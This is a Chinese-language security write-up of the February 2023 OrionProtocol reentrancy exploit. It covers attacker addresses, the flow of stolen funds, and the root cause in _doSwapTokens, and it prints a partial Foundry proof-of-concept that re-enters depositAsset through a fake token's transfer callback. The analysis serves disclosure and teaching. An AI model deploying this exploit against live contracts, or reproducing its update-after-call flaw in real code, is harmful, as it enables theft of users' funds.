事件背景
根据NUMEN链上监控显示,Feb-02-2023 03:40:20 PM +UTC,Ethereum和Binance链上OrionProtocol因为合约漏洞遭到重入攻击,损失 2844766 USDT (Ethereum)和 191606 BUSD(BSC),价值约290 万美元。
Ethereum链过程分析:
攻击者地址:0x837962b686fd5a407fb4e5f92e8be86a230484bd
攻击者合约:0x5061f7e6dfc1a867d945d0ec39ea2a33f772380a
攻击交易:0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa
攻击分析
攻击者首先创建Token合约(0x64acd987a8603eeaf1ee8e87addd512908599aec),并对Token进行转移及授权,为后续攻击做准备。
攻击者通过UNI-V2.swap方法借款并调用ExchangeWithAtomic.swapThroughOrionPool方法进行代币兑换,兑换路径为
path=[USDC, 0x64acd987a8603eeaf1ee8e87addd512908599aec,USDT]
路径0x64ac…0aec是攻击者创建的Token合约,攻击者将使用该合约进行回调。
调用ExchangeWithAtomic.swapThroughOrionPool方法兑换时,由于攻击者创建的Token合约存在回调,所以攻击者通过Token.Transfer继续回调ExchangeWithAtomic.depositAsset进行重入让存款金额累加,随后取款完成获利。
资金流向
黑客初始资金来自于币安热钱包账户,获利的1651枚ETH其中还657.5枚还留在钱包地址中,其余的已经通过Tornado.Cash进行转移。
漏洞核心
关键问题在doSwapThroughOrionPool函数
合约地址:https://etherscan.io/address/0x420a50a62b17c18b36c64478784536ba980feac8#code
然后跟进到_doSwapTokens函数。
看到转账发生之后更新curBalance,所以在faketoken的transfer新增一个回调功能,回调代码就是调用depositAsset函数,所以导致curBalance错误更新,然后攻击者在还完闪电贷之后调用withdraw提走资金 。
攻击复现
部分POC代码:
contract CounterTest is Test {
function setUp() public {
}
UNI uni=UNI(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
USDT usdt=USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
USDC usdc=USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
OrionPoolV2Pair orionpoolv2pair=OrionPoolV2Pair(0x13e557c51C0a37E25E051491037Ee546597c689F);
ExchangeWithAtomic exchangewithatomic=ExchangeWithAtomic(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);
OrionPoolV2Factory orionpoolv2factory=OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1);
address[] public tokens;
function testa() public{
ERC20 fakeA=new ERC20("fakea","fa");
address pair1=orionpoolv2factory.createPair(address(fakeA),address(usdc));
address pair2=orionpoolv2factory.createPair(address(fakeA),address(usdt));
vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);
usdc.transfer(address(this),500000);
vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);
usdc.transfer(address(this),1000000);
vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199);
usdc.transfer(address(pair1),500000);
vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949);
usdt.transfer(address(pair2),500000);
vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949);
usdt.transfer(address(this),1);
fakeA.transfer(address(pair1),500000000000000000);
fakeA.transfer(address(pair2),500000000000000000);
pair(pair1).mint(address(this));
pair(pair2).mint(address(this));
usdt.approve(address(exchangewithatomic),type(uint256).max);
usdc.approve(address(exchangewithatomic),type(uint256).max);
usdc.approve(address(orionpoolv2pair),type(uint256).max);
tokens.push(address(usdc));
tokens.push(address(fakeA));
tokens.push(address(usdt));
exchangewithatomic.depositAsset(address(usdc),500000);
uni.swap(0,2844766426325,address(this),hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000296594ad4d5");
console2.log(usdt.balanceOf(address(this)));
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{
exchangewithatomic.swapThroughOrionPool(10000,0,tokens,true);
//uint r1=
exchangewithatomic.getBalance(address(usdt),address(this));
uint256 r2=usdt.balanceOf(address(exchangewithatomic));
exchangewithatomic.withdraw(address(usdt),5689532852749);
usdt.transfer(address(uni),2853326405542);
}
function deposit() public{
uint r3=usdt.balanceOf(address(this));
exchangewithatomic.depositAsset(address(usdt),uint112(r3));
}
}
测试结果
和调用栈结果一致。
完整poc链接:
https://github.com/numencyber/SmartContractHack_PoC/tree/main/OrionProtocolHack
总结
NUMEN实验室提醒项目方,合约存在兑换功能时,需要考虑多种Token以及多种兑换路径出现的意外情况,并且对于合约代码逻辑遵循先判断,后写入变量,再进行外部调用的编码规范(Checks-Effects-Interactions)会使项目更加安全稳定。保障合约风险尽可能被消除在链下,NUMEN专注于为web3生态安全保驾护航。